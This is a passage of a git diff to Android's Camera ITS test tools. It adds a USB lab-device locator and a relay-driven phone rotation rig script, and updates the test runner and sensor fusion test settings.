 THRESH_MAX_CORR_DIST = 0.005
-THRESH_MAX_SHIFT_MS = 2
+THRESH_MAX_SHIFT_MS = 1
 THRESH_MIN_ROT = 0.001
 
 # lens facing
@@ -379,9 +379,7 @@
         # Sleep a while for gyro events to stabilize.
         time.sleep(0.5)
 
-        # TODO: Ensure that OIS is disabled; set to DISABLE and wait some time.
-
-        # Capture the frames.
+        # Capture the frames. OIS is disabled for manual captures.
         facing = props['android.lens.facing']
         if facing != FACING_FRONT and facing != FACING_BACK:
             print "Unknown lens facing", facing
@@ -390,6 +388,8 @@
         fmt = {"format":"yuv", "width":W, "height":H}
         s,e,_,_,_ = cam.do_3a(get_results=True, do_af=False)
         req = its.objects.manual_capture_request(s, e)
+        fps = 30
+        req["android.control.aeTargetFpsRange"] = [fps, fps]
         print "Capturing %dx%d with sens. %d, exp. time %.1fms" % (
                 W, H, s, e*NSEC_TO_MSEC)
         caps = cam.do_capture([req]*N, fmt)
diff --git a/apps/CameraITS/tests/tutorial.py b/apps/CameraITS/tests/tutorial.py
index c266d14..1fca5f1 100644
--- a/apps/CameraITS/tests/tutorial.py
+++ b/apps/CameraITS/tests/tutorial.py
@@ -34,7 +34,7 @@
 
 # Modules from the numpy, scipy, and matplotlib libraries. These are used for
 # the image processing code, and images are represented as numpy arrays.
-import pylab
+from matplotlib import pylab
 import numpy
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tools/__init__.py b/apps/CameraITS/tools/__init__.py
new file mode 100644
index 0000000..6c819ee
--- /dev/null
+++ b/apps/CameraITS/tools/__init__.py
@@ -0,0 +1,14 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
diff --git a/apps/CameraITS/tools/hardware.py b/apps/CameraITS/tools/hardware.py
new file mode 100644
index 0000000..5b19b02
--- /dev/null
+++ b/apps/CameraITS/tools/hardware.py
@@ -0,0 +1,348 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+import re
+
+
+class Device(object):
+    """Create dict object for relay usb connection.
+
+       This class provides an interface to locate lab equipment without encoding
+       knowledge of the USB bus topology in the lab equipment device drivers.
+    """
+
+    KEY_VID = 'vendor_id'
+    KEY_PID = 'product_id'
+    KEY_SN = 'serial_no'
+    KEY_INF = 'inf'
+    KEY_CFG = 'config'
+    KEY_NAME = 'name'
+    KEY_TTY = 'tty_path'
+    KEY_MFG = 'mfg'
+    KEY_PRD = 'product'
+    KEY_VER = 'version'
+
+    _instance = None
+
+    _USB_DEVICE_SYS_ROOT = '/sys/bus/usb/devices'
+    _DEV_ROOT = '/dev'
+
+    _SYS_VENDOR_ID = 'idVendor'
+    _SYS_PRODUCT_ID = 'idProduct'
+    _SYS_SERIAL_NO = 'serial'
+    _INF_CLASS = 'bInterfaceClass'
+    _INF_SUB_CLASS = 'bInterfaceSubClass'
+    _INF_PROTOCOL = 'bInterfaceProtocol'
+    _MFG_STRING = 'manufacturer'
+    _PRODUCT_STRING = 'product'
+    _VERSION_STRING = 'version'
+
+    _USB_CDC_ACM_CLASS = 0x02
+    _USB_CDC_ACM_SUB_CLASS = 0x02
+    _USB_CDC_ACM_PROTOCOL = 0x01
+
+    def __init__(self, name, vid, pid, cfg, inf):
+        self._device_list = []
+
+        self._build_device(name, vid, pid, cfg, inf)
+
+        self._walk_usb_tree(self._init_device_list_callback, None)
+
+    def __new__(cls, *args, **kwargs):
+        # The Device class should be a singleton.  A lab test procedure may
+        # use multiple pieces of lab equipment and we do not want to have to
+        # create a new instance of the Device for each device.
+        if not cls._instance:
+            cls._instance = super(Device, cls).__new__(cls, *args, **kwargs)
+        return cls._instance
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, exception_type, exception_value, traceback):
+        pass
+
+    def _build_device(self, name, vid, pid, cfg, inf):
+        """Build relay device information.
+
+        Args:
+            name:   device
+            vid:    vendor ID
+            pid:    product ID
+            cfg:    configuration
+            inf:    interface
+
+        Returns:
+            Nothing
+        """
+        entry = {}
+        entry[self.KEY_NAME] = name
+        entry[self.KEY_VID] = int(vid, 16)
+        entry[self.KEY_PID] = int(pid, 16)
+
+        # The serial number string is optional in USB and not all devices
+        # use it.  The relay devices do not use it then we specify 'None' in
+        # the lab configuration file.
+        entry[self.KEY_SN] = None
+        entry[self.KEY_CFG] = int(cfg)
+        entry[self.KEY_INF] = int(inf)
+        entry[self.KEY_TTY] = None
+
+        self._device_list.append(entry)
+
+    def _find_lab_device_entry(self, vendor_id, product_id, serial_no):
+        """find a device in the lab device list.
+
+        Args:
+            vendor_id: unique vendor id for device
+            product_id: unique product id for device
+            serial_no: serial string for the device (may be None)
+
+        Returns:
+            device entry or None
+        """
+        for device in self._device_list:
+            if device[self.KEY_VID] != vendor_id:
+                continue
+            if device[self.KEY_PID] != product_id:
+                continue
+            if device[self.KEY_SN] == serial_no:
+                return device
+
+        return None
+
+    def _read_sys_attr(self, root, attr):
+        """read a sysfs attribute.
+
+        Args:
+            root: path of the sysfs directory
+            attr: attribute to read
+
+        Returns:
+            attribute value or None
+        """
+        try:
+            path = os.path.join(root, attr)
+            with open(path) as f:
+                return f.readline().rstrip()
+        except IOError:
+            return None
+
+    def _read_sys_hex_attr(self, root, attr):
+        """read a sysfs hexadecimal integer attribute.
+
+        Args:
+            root: path of the sysfs directory
+            attr: attribute to read
+
+        Returns:
+            attribute value or None
+        """
+        try:
+            path = os.path.join(root, attr)
+            with open(path) as f:
+                return int(f.readline(), 16)
+        except IOError:
+            return None
+
+    def _is_cdc_acm(self, inf_path):
+        """determine if the interface implements the CDC ACM class.
+
+        Args:
+            inf_path: directory entry for the inf under /sys/bus/usb/devices
+
+        Returns:
+            True if the inf is CDC ACM, false otherwise
+        """
+        cls = self._read_sys_hex_attr(inf_path, self._INF_CLASS)
+        sub_cls = self._read_sys_hex_attr(inf_path, self._INF_SUB_CLASS)
+        proto = self._read_sys_hex_attr(inf_path, self._INF_PROTOCOL)
+        if self._USB_CDC_ACM_CLASS != cls:
+            return False
+        if self._USB_CDC_ACM_SUB_CLASS != sub_cls:
+            return False
+        if self._USB_CDC_ACM_PROTOCOL != proto:
+            return False
+
+        return True
+
+    def _read_tty_name(self, dir_entry, inf, cfg):
+        """Get the path to the associated tty device.
+
+        Args:
+            dir_entry: directory entry for the device under /sys/bus/usb/devices
+            inf: Interface number of the device
+            cfg: Configuration number of the device
+
+        Returns:
+            Path to a tty device or None
+        """
+        inf_path = os.path.join(self._USB_DEVICE_SYS_ROOT,
+                                '%s:%d.%d' % (dir_entry, cfg, inf))
+
+        # first determine if this is a CDC-ACM or USB Serial device.
+        if self._is_cdc_acm(inf_path):
+            tty_list = os.listdir(os.path.join(inf_path, 'tty'))
+
+            # Each CDC-ACM interface should only have one tty device associated
+            # with it so just return the first item in the list.
+            return os.path.join(self._DEV_ROOT, tty_list[0])
+        else:
+            # USB Serial devices have a link to their ttyUSB* device in the inf
+            # directory
+            tty_re = re.compile(r'ttyUSB\d+$')
+
+            dir_list = os.listdir(inf_path)
+            for entry in dir_list:
+                if tty_re.match(entry):
+                    return os.path.join(self._DEV_ROOT, entry)
+
+        return None
+
+    def _init_device_list_callback(self, _, dir_entry):
+        """Callback function used with _walk_usb_tree for device list init.
+
+        Args:
+            _: Callback context (unused)
+            dir_entry: Directory entry reported by _walk_usb_tree
+
+        """
+        path = os.path.join(self._USB_DEVICE_SYS_ROOT, dir_entry)
+
+        # The combination of vendor id, product id, and serial number
+        # should be sufficient to uniquely identify each piece of lab
+        # equipment.
+        vendor_id = self._read_sys_hex_attr(path, self._SYS_VENDOR_ID)
+        product_id = self._read_sys_hex_attr(path, self._SYS_PRODUCT_ID)
+        serial_no = self._read_sys_attr(path, self._SYS_SERIAL_NO)
+
+        # For each device try to match it with a device entry in the lab
+        # configuration.
+        device = self._find_lab_device_entry(vendor_id, product_id, serial_no)
+        if device:
+            # If the device is in the lab configuration then determine
+            # which tty device it associated with.
+            device[self.KEY_TTY] = self._read_tty_name(dir_entry,
+                                                       device[self.KEY_INF],
+                                                       device[self.KEY_CFG])
+
+    def _list_all_tty_devices_callback(self, dev_list, dir_entry):
+        """Callback for _walk_usb_tree when listing all USB serial devices.
+
+        Args:
+            dev_list: Device list to fill
+            dir_entry: Directory entry reported by _walk_usb_tree
+
+        """
+        dev_path = os.path.join(self._USB_DEVICE_SYS_ROOT, dir_entry)
+
+        # Determine if there are any interfaces in the sys directory for the
+        # USB Device.
+        inf_re = re.compile(r'\d+-\d+(\.\d+){0,}:(?P<cfg>\d+)\.(?P<inf>\d+)$')
+        inf_dir_list = os.listdir(dev_path)
+
+        for inf_entry in inf_dir_list:
+            inf_match = inf_re.match(inf_entry)
+            if inf_match is None:
+                continue
+
+            inf_dict = inf_match.groupdict()
+            inf = int(inf_dict['inf'])
+            cfg = int(inf_dict['cfg'])
+
+            # Check to see if there is a tty device associated with this
+            # interface.
+            tty_path = self._read_tty_name(dir_entry, inf, cfg)
+            if tty_path is None:
+                continue
+
+            # This is a TTY interface, create a dictionary of the relevant
+            # sysfs attributes for this device.
+            entry = {}
+            entry[self.KEY_TTY] = tty_path
+            entry[self.KEY_INF] = inf
+            entry[self.KEY_CFG] = cfg
+            entry[self.KEY_VID] = self._read_sys_hex_attr(dev_path,
+                                                          self._SYS_VENDOR_ID)
+            entry[self.KEY_PID] = self._read_sys_hex_attr(dev_path,
+                                                          self._SYS_PRODUCT_ID)
+            entry[self.KEY_SN] = self._read_sys_attr(dev_path,
+                                                     self._SYS_SERIAL_NO)
+            entry[self.KEY_MFG] = self._read_sys_attr(dev_path,
+                                                      self._MFG_STRING)
+            entry[self.KEY_PRD] = self._read_sys_attr(dev_path,
+                                                      self._PRODUCT_STRING)
+            entry[self.KEY_VER] = self._read_sys_attr(dev_path,
+                                                      self._VERSION_STRING)
+
+            # If this device is also in the lab device list then add the
+            # friendly name for it.
+            lab_device = self._find_lab_device_entry(entry[self.KEY_VID],
+                                                     entry[self.KEY_PID],
+                                                     entry[self.KEY_SN])
+            if lab_device is not None:
+                entry[self.KEY_NAME] = lab_device[self.KEY_NAME]
+
+            dev_list.append(entry)
+
+    def _walk_usb_tree(self, callback, context):
+        """Walk the USB device and locate lab devices.
+
+           Traverse the USB device tree in /sys/bus/usb/devices and inspect each
+           device and see if it matches a device in the lab configuration.  If
+           it does then get the path to the associated tty device.
+
+        Args:
+            callback: Callback to invoke when a USB device is found.
+            context: Context variable for callback.
+
+        Returns:
+            Nothing
+        """
+        # Match only devices, exclude interfaces and root hubs
+        file_re = re.compile(r'\d+-\d+(\.\d+){0,}$')
+        dir_list = os.listdir(self._USB_DEVICE_SYS_ROOT)
+
+        for dir_entry in dir_list:
+            if file_re.match(dir_entry):
+                callback(context, dir_entry)
+
+    def get_tty_path(self, name):
+        """Get the path to the tty device for a given lab device.
+
+        Args:
+            name: lab device identifier, e.g. 'rail', or 'bt_trigger'
+
+        Returns:
+            Path to the tty device otherwise None
+        """
+        for dev in self._device_list:
+            if dev[self.KEY_NAME] == name and dev[self.KEY_NAME] is not None:
+                return dev[self.KEY_TTY]
+
+        return None
+
+    def get_tty_devices(self):
+        """Get a list of all USB based tty devices attached to the machine.
+
+        Returns:
+            List of dictionaries where each dictionary contains a description of
+            the USB TTY device.
+        """
+        all_dev_list = []
+        self._walk_usb_tree(self._list_all_tty_devices_callback, all_dev_list)
+
+        return all_dev_list
+
diff --git a/apps/CameraITS/tools/rotation_rig.py b/apps/CameraITS/tools/rotation_rig.py
new file mode 100644
index 0000000..281952c
--- /dev/null
+++ b/apps/CameraITS/tools/rotation_rig.py
@@ -0,0 +1,125 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import sys
+import time
+import hardware as hw
+import serial
+
+NUM_ROTATIONS = 10
+SLEEP_TIME = 2  # seconds
+
+DATA_DELIMITER = '\r\n'
+ROT_RIG_DEVICE = 'relay'
+ROT_RIG_VID = '04d8'
+ROT_RIG_PID = 'fc73'
+ROT_RIG_CHAN = '1'
+RELAY_BAUDRATE = 115200
+RELAY_COM_SLEEP = 0.05
+RELAY_SET_CMD = 'REL'
+VALID_RELAY_COMMANDS = ['ON', 'OFF']
+VALID_RELAY_CHANNELS = ['1', '2', '3', '4']
+SERIAL_SEND_TIMEOUT = 0.02
+
+
+def cmd_send(vid, pid, cmd_str):
+    """Wrapper for sending serial command.
+
+    Args:
+        vid:     str; vendor ID
+        pid:     str; product ID
+        cmd_str: str; value to send to device.
+    """
+    hw_list = hw.Device(ROT_RIG_DEVICE, vid, pid, '1', '0')
+    relay_port = hw_list.get_tty_path('relay')
+    relay_ser = serial.Serial(relay_port, RELAY_BAUDRATE,
+                              timeout=SERIAL_SEND_TIMEOUT,
+                              parity=serial.PARITY_EVEN,
+                              stopbits=serial.STOPBITS_ONE,
+                              bytesize=serial.EIGHTBITS)
+    try:
+        relay_ser.write(DATA_DELIMITER)
+        time.sleep(RELAY_COM_SLEEP)  # This is critcal for relay.
+        relay_ser.write(cmd_str)
+        relay_ser.close()
+    except ValueError:
+        print 'Port %s:%s is not open' % (vid, pid)
+        sys.exit()
+
+
+def set_relay_channel_state(vid, pid, channel, relay_state):
+    """Set relay channel and state.
+
+    Args:
+        vid:          str; vendor ID
+        pid:          str; product ID
+        channel:      str; channel number of relay to set. '1', '2', '3', or '4'
+        relay_state:  str; either 'ON' or 'OFF'
+    Returns:
+        None
+    """
+    if channel in VALID_RELAY_CHANNELS and relay_state in VALID_RELAY_COMMANDS:
+        cmd_send(vid, pid, RELAY_SET_CMD + channel + '.' + relay_state + '\r\n')
+    else:
+        print 'Invalid channel or command, no command sent.'
+
+
+def main():
+    """Main function.
+
+    expected rotator string is vid:pid:ch.
+    vid:pid can be found through lsusb on the host.
+    ch is hard wired and must be determined from the box.
+    """
+    for s in sys.argv[1:]:
+        if s[:8] == 'rotator=':
+            if len(s) > 8:
+                rotator_ids = s[8:].split(':')
+                if len(rotator_ids) == 3:
+                    vid = '0x' + rotator_ids[0]
+                    pid = '0x' + rotator_ids[1]
+                    ch = rotator_ids[2]
+                elif len(rotator_ids) == 1:
+                    if rotator_ids[0] in VALID_RELAY_CHANNELS:
+                        print ('Using default values %s:%s for VID:PID '
+                               'of rotator' % (ROT_RIG_VID, ROT_RIG_PID))
+                        vid = '0x' + ROT_RIG_VID
+                        pid = '0x' + ROT_RIG_PID
+                        ch = rotator_ids[0]
+                    elif rotator_ids[0] == 'default':
+                        print ('Using default values %s:%s:%s for VID:PID:CH '
+                               'of rotator' % (ROT_RIG_VID, ROT_RIG_PID,
+                                               ROT_RIG_CHAN))
+                        vid = '0x' + ROT_RIG_VID
+                        pid = '0x' + ROT_RIG_PID
+                        ch = ROT_RIG_CHAN
+                    else:
+                        print 'Invalid channel: %s' % rotator_ids[0]
+                        sys.exit()
+                else:
+                    err_string = 'Rotator ID (if entered) must be of form: '
+                    err_string += 'rotator=VID:PID:CH or rotator=CH'
+                    print err_string
+                    sys.exit()
+
+    print 'Rotating phone %dx' % NUM_ROTATIONS
+    for _ in xrange(NUM_ROTATIONS):
+        set_relay_channel_state(vid, pid, ch, 'ON')
+        time.sleep(SLEEP_TIME)
+        set_relay_channel_state(vid, pid, ch, 'OFF')
+        time.sleep(SLEEP_TIME)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index b12792f..20a9c3d 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -19,11 +19,26 @@
 import subprocess
 import time
 import sys
-import textwrap
+
+import its.caps
 import its.device
 from its.device import ItsSession
 
 CHART_DELAY = 1  # seconds
+FACING_EXTERNAL = 2
+SKIP_RET_CODE = 101  # note this must be same as tests/scene*/test_*
+
+
+def skip_sensor_fusion():
+    """Determine if sensor fusion test is skipped for this camera."""
+
+    skip_code = SKIP_RET_CODE
+    with ItsSession() as cam:
+        props = cam.get_camera_properties()
+        if (its.caps.sensor_fusion(props) and its.caps.manual_sensor(props) and
+                props['android.lens.facing'] is not FACING_EXTERNAL):
+            skip_code = None
+    return skip_code
 
 
 def main():
@@ -45,57 +60,62 @@
                all android devices.
     """
 
-    SKIP_RET_CODE = 101
-
     # Not yet mandated tests
     NOT_YET_MANDATED = {
-        "scene0":[
-            "test_jitter"
-        ],
-        "scene1":[
+        "scene0": [
+            "test_jitter",
+            "test_burst_capture"
+            ],
+        "scene1": [
+            "test_ae_af",
             "test_ae_precapture_trigger",
             "test_crop_region_raw",
             "test_ev_compensation_advanced",
             "test_ev_compensation_basic",
             "test_yuv_plus_jpeg"
-        ],
-        "scene2":[],
-        "scene3":[],
-        "scene4":[],
-        "scene5":[],
-        "sensor_fusion":[]
+            ],
+        "scene2": [
+            "test_num_faces",
+            ],
+        "scene3": [
+            "test_3a_consistency",
+            "test_lens_movement_reporting",
+            "test_lens_position"
+            ],
+        "scene4": [],
+        "scene5": [],
+        "sensor_fusion": []
     }
 
-    all_scenes = ["scene0", "scene1", "scene2", "scene3", "scene4", "scene5"]
+    all_scenes = ["scene0", "scene1", "scene2", "scene3", "scene4", "scene5",
+                  "sensor_fusion"]
 
     auto_scenes = ["scene0", "scene1", "scene2", "scene3", "scene4"]
 
     scene_req = {
-        "scene0" : None,
-        "scene1" : "A grey card covering at least the middle 30% of the scene",
-        "scene2" : "A picture containing human faces",
-        "scene3" : "A chart containing sharp edges like ISO 12233",
-        "scene4" : "A specific test page of a circle covering at least the "
-                   "middle 50% of the scene. See CameraITS.pdf section 2.3.4 "
-                   "for more details",
-        "scene5" : "Capture images with a diffuser attached to the camera. See "
-                   "CameraITS.pdf section 2.3.4 for more details",
-        "sensor_fusion" : "Rotating checkboard pattern. See "
-                          "sensor_fusion/SensorFusion.pdf for detailed "
-                          "instructions. Note that this test will be skipped "
-                          "on devices not supporting REALTIME camera timestamp."
-                          "If that is the case, no scene setup is required and "
-                          "you can just answer Y when being asked if the scene "
-                          "is okay"
+        "scene0": None,
+        "scene1": "A grey card covering at least the middle 30% of the scene",
+        "scene2": "A picture containing human faces",
+        "scene3": "The ISO 12233 chart",
+        "scene4": "A specific test page of a circle covering at least the "
+                  "middle 50% of the scene. See CameraITS.pdf section 2.3.4 "
+                  "for more details",
+        "scene5": "Capture images with a diffuser attached to the camera. See "
+                  "CameraITS.pdf section 2.3.4 for more details",
+        "sensor_fusion": "Rotating checkboard pattern. See "
+                         "sensor_fusion/SensorFusion.pdf for detailed "
+                         "instructions.\nNote that this test will be skipped "
+                         "on devices not supporting REALTIME camera timestamp."
     }
     scene_extra_args = {
-        "scene5" : ["doAF=False"]
+        "scene5": ["doAF=False"]
     }
 
     camera_ids = []
     scenes = []
     chart_host_id = None
     result_device_id = None
+    rot_rig_id = None
 
     for s in sys.argv[1:]:
         if s[:7] == "camera=" and len(s) > 7:
@@ -106,6 +126,9 @@
             chart_host_id = s[6:]
         elif s[:7] == 'result=' and len(s) > 7:
             result_device_id = s[7:]
+        elif s[:8] == 'rot_rig=' and len(s) > 8:
+            rot_rig_id = s[8:]  # valid values: 'default' or '$VID:$PID:$CH'
+            # The default '$VID:$PID:$CH' is '04d8:fc73:1'
 
     auto_scene_switch = chart_host_id is not None
     merge_result_switch = result_device_id is not None
@@ -124,7 +147,6 @@
             else:
                 try:
                     # Try replace "X" to "sceneX"
-                    scene_num = int(s)
                     scene_str = "scene" + s
                     if scene_str not in possible_scenes:
                         valid_scenes = False
@@ -136,7 +158,7 @@
 
         if not valid_scenes:
             print "Unknown scene specifiied:", s
-            assert(False)
+            assert False
         scenes = temp_scenes
 
     # Initialize test results
@@ -147,13 +169,14 @@
 
     # Make output directories to hold the generated files.
     topdir = tempfile.mkdtemp()
+    subprocess.call(['chmod', 'g+rx', topdir])
     print "Saving output files to:", topdir, "\n"
 
     device_id = its.device.get_device_id()
     device_id_arg = "device=" + device_id
     print "Testing device " + device_id
 
-    #Sanity Check for devices
+    # Sanity Check for devices
     device_bfp = its.device.get_device_fingerprint(device_id)
     assert device_bfp is not None
 
@@ -163,19 +186,19 @@
 
     if merge_result_switch:
         result_device_bfp = its.device.get_device_fingerprint(result_device_id)
-        assert device_bfp == result_device_bfp, \
-            "Can not merge result to a different build, from %s to %s" \
-             % (device_bfp, result_device_bfp)
+        assert_err_msg = ('Cannot merge result to a different build, from '
+                          '%s to %s' % (device_bfp, result_device_bfp))
+        assert device_bfp == result_device_bfp, assert_err_msg
 
     # user doesn't specify camera id, run through all cameras
     if not camera_ids:
         camera_ids_path = os.path.join(topdir, "camera_ids.txt")
         out_arg = "out=" + camera_ids_path
         cmd = ['python',
-               os.path.join(os.getcwd(),"tools/get_camera_ids.py"), out_arg,
+               os.path.join(os.getcwd(), "tools/get_camera_ids.py"), out_arg,
                device_id_arg]
-        retcode = subprocess.call(cmd,cwd=topdir)
-        assert(retcode == 0)
+        cam_code = subprocess.call(cmd, cwd=topdir)
+        assert cam_code == 0
         with open(camera_ids_path, "r") as f:
             for line in f:
                 camera_ids.append(line.replace('\n', ''))
@@ -192,8 +215,8 @@
             screen_id_arg = ('screen=%s' % chart_host_id)
             cmd = ['python', os.path.join(os.environ['CAMERA_ITS_TOP'], 'tools',
                                           'wake_up_screen.py'), screen_id_arg]
-            retcode = subprocess.call(cmd)
-            assert retcode == 0
+            wake_code = subprocess.call(cmd)
+            assert wake_code == 0
 
     for camera_id in camera_ids:
         # Loop capturing images until user confirm test scene is correct
@@ -205,8 +228,9 @@
             os.mkdir(os.path.join(topdir, camera_id, d))
 
         for scene in scenes:
-            tests = [(s[:-3],os.path.join("tests", scene, s))
-                     for s in os.listdir(os.path.join("tests",scene))
+            skip_code = None
+            tests = [(s[:-3], os.path.join("tests", scene, s))
+                     for s in os.listdir(os.path.join("tests", scene))
                      if s[-3:] == ".py" and s[:4] == "test"]
             tests.sort()
 
@@ -215,36 +239,42 @@
             numskip = 0
             num_not_mandated_fail = 0
             numfail = 0
-            if scene_req[scene] != None:
+            validate_switch = True
+            if scene_req[scene] is not None:
                 out_path = os.path.join(topdir, camera_id, scene+".jpg")
                 out_arg = "out=" + out_path
+                if scene == 'sensor_fusion':
+                    skip_code = skip_sensor_fusion()
+                    if rot_rig_id or skip_code == SKIP_RET_CODE:
+                        validate_switch = False
+                if scene == 'scene5':
+                    validate_switch = False
                 cmd = None
                 if auto_scene_switch:
-                    if not merge_result_switch or \
-                            (merge_result_switch and camera_ids[0] == '0'):
-                        scene_arg = "scene=" + scene
+                    if (not merge_result_switch or
+                            (merge_result_switch and camera_ids[0] == '0')):
+                        scene_arg = 'scene=' + scene
                         cmd = ['python',
                                os.path.join(os.getcwd(), 'tools/load_scene.py'),
                                scene_arg, screen_id_arg]
                     else:
                         time.sleep(CHART_DELAY)
                 else:
-                    # Skip scene validation for scene 5 running in parallel
-                    if not merge_result_switch or scene != 'scene5':
-                        scene_arg = "scene=" + scene_req[scene]
+                    # Skip scene validation under certain conditions
+                    if validate_switch and not merge_result_switch:
+                        scene_arg = 'scene=' + scene_req[scene]
                         extra_args = scene_extra_args.get(scene, [])
                         cmd = ['python',
-                                os.path.join(os.getcwd(),"tools/validate_scene.py"),
-                                camera_id_arg, out_arg,
-                                scene_arg, device_id_arg] + extra_args
-
+                               os.path.join(os.getcwd(),
+                                            'tools/validate_scene.py'),
+                               camera_id_arg, out_arg,
+                               scene_arg, device_id_arg] + extra_args
                 if cmd is not None:
-                    retcode = subprocess.call(cmd,cwd=topdir)
-                    assert(retcode == 0)
+                    valid_scene_code = subprocess.call(cmd, cwd=topdir)
+                    assert valid_scene_code == 0
             print "Start running ITS on camera %s, %s" % (camera_id, scene)
-
             # Run each test, capturing stdout and stderr.
-            for (testname,testpath) in tests:
+            for (testname, testpath) in tests:
                 if auto_scene_switch:
                     if merge_result_switch and camera_ids[0] == '0':
                         # Send an input event to keep the screen not dimmed.
@@ -256,25 +286,37 @@
                         cmd = ('adb -s %s shell input keyevent FOCUS'
                                % chart_host_id)
                         subprocess.call(cmd.split())
-                cmd = ['python', os.path.join(os.getcwd(),testpath)] + \
-                      sys.argv[1:] + [camera_id_arg]
-                outdir = os.path.join(topdir,camera_id,scene)
-                outpath = os.path.join(outdir,testname+"_stdout.txt")
-                errpath = os.path.join(outdir,testname+"_stderr.txt")
                 t0 = time.time()
-                with open(outpath,"w") as fout, open(errpath,"w") as ferr:
-                    retcode = subprocess.call(
-                            cmd,stderr=ferr,stdout=fout,cwd=outdir)
+                outdir = os.path.join(topdir, camera_id, scene)
+                outpath = os.path.join(outdir, testname+'_stdout.txt')
+                errpath = os.path.join(outdir, testname+'_stderr.txt')
+                if scene == 'sensor_fusion':
+                    if skip_code is not SKIP_RET_CODE:
+                        if rot_rig_id:
+                            print 'Rotating phone w/ rig %s' % rot_rig_id
+                            rig = ('python tools/rotation_rig.py rotator=%s' %
+                                   rot_rig_id)
+                            subprocess.Popen(rig.split())
+                        else:
+                            print 'Rotate phone 15s as shown in SensorFusion.pdf'
+                    else:
+                        test_code = skip_code
+                if skip_code is not SKIP_RET_CODE:
+                    cmd = ['python', os.path.join(os.getcwd(), testpath)]
+                    cmd += sys.argv[1:] + [camera_id_arg]
+                    with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
+                        test_code = subprocess.call(
+                            cmd, stderr=ferr, stdout=fout, cwd=outdir)
                 t1 = time.time()
 
                 test_failed = False
-                if retcode == 0:
+                if test_code == 0:
                     retstr = "PASS "
                     numpass += 1
-                elif retcode == SKIP_RET_CODE:
+                elif test_code == SKIP_RET_CODE:
                     retstr = "SKIP "
                     numskip += 1
-                elif retcode != 0 and testname in NOT_YET_MANDATED[scene]:
+                elif test_code != 0 and testname in NOT_YET_MANDATED[scene]:
                     retstr = "FAIL*"
                     num_not_mandated_fail += 1
                 else:
@@ -290,16 +332,15 @@
 
             if numskip > 0:
                 skipstr = ", %d test%s skipped" % (
-                        numskip, "s" if numskip > 1 else "")
+                    numskip, "s" if numskip > 1 else "")
             else:
                 skipstr = ""
 
             test_result = "\n%d / %d tests passed (%.1f%%)%s" % (
-                    numpass + num_not_mandated_fail, len(tests) - numskip,
-                    100.0 * float(numpass + num_not_mandated_fail) /
-                            (len(tests) - numskip)
-                            if len(tests) != numskip else 100.0,
-                    skipstr)
+                numpass + num_not_mandated_fail, len(tests) - numskip,
+                100.0 * float(numpass + num_not_mandated_fail) /
+                (len(tests) - numskip)
+                if len(tests) != numskip else 100.0, skipstr)
             print test_result
 
             if num_not_mandated_fail > 0:
@@ -312,7 +353,7 @@
 
             passed = numfail == 0
             results[scene][result_key] = (ItsSession.RESULT_PASS if passed
-                    else ItsSession.RESULT_FAIL)
+                                          else ItsSession.RESULT_FAIL)
             results[scene][ItsSession.SUMMARY_KEY] = summary_path
 
         print "Reporting ITS result to CtsVerifier"
@@ -331,15 +372,15 @@
             screen_id_arg = ('screen=%s' % chart_host_id)
             cmd = ['python', os.path.join(os.environ['CAMERA_ITS_TOP'], 'tools',
                                           'turn_off_screen.py'), screen_id_arg]
-            retcode = subprocess.call(cmd)
-            assert retcode == 0
+            screen_off_code = subprocess.call(cmd)
+            assert screen_off_code == 0
 
             print 'Shutting down DUT screen: ', device_id
             screen_id_arg = ('screen=%s' % device_id)
             cmd = ['python', os.path.join(os.environ['CAMERA_ITS_TOP'], 'tools',
-                                      'turn_off_screen.py'), screen_id_arg]
-            retcode = subprocess.call(cmd)
-            assert retcode == 0
+                                          'turn_off_screen.py'), screen_id_arg]
+            screen_off_code = subprocess.call(cmd)
+            assert screen_off_code == 0
 
     print "ITS tests finished. Please go back to CtsVerifier and proceed"
 
diff --git a/apps/CameraITS/tools/run_sensor_fusion_box.py b/apps/CameraITS/tools/run_sensor_fusion_box.py
new file mode 100644
index 0000000..6eb8ceb
--- /dev/null
+++ b/apps/CameraITS/tools/run_sensor_fusion_box.py
@@ -0,0 +1,110 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+import os.path
+import subprocess
+import sys
+import tempfile
+import time
+
+import its.device
+# from its.device import ItsSession
+
+NUM_RUNS = 2
+SCENE_NAME = 'sensor_fusion'
+SKIP_RET_CODE = 101
+TEST_NAME = 'test_sensor_fusion'
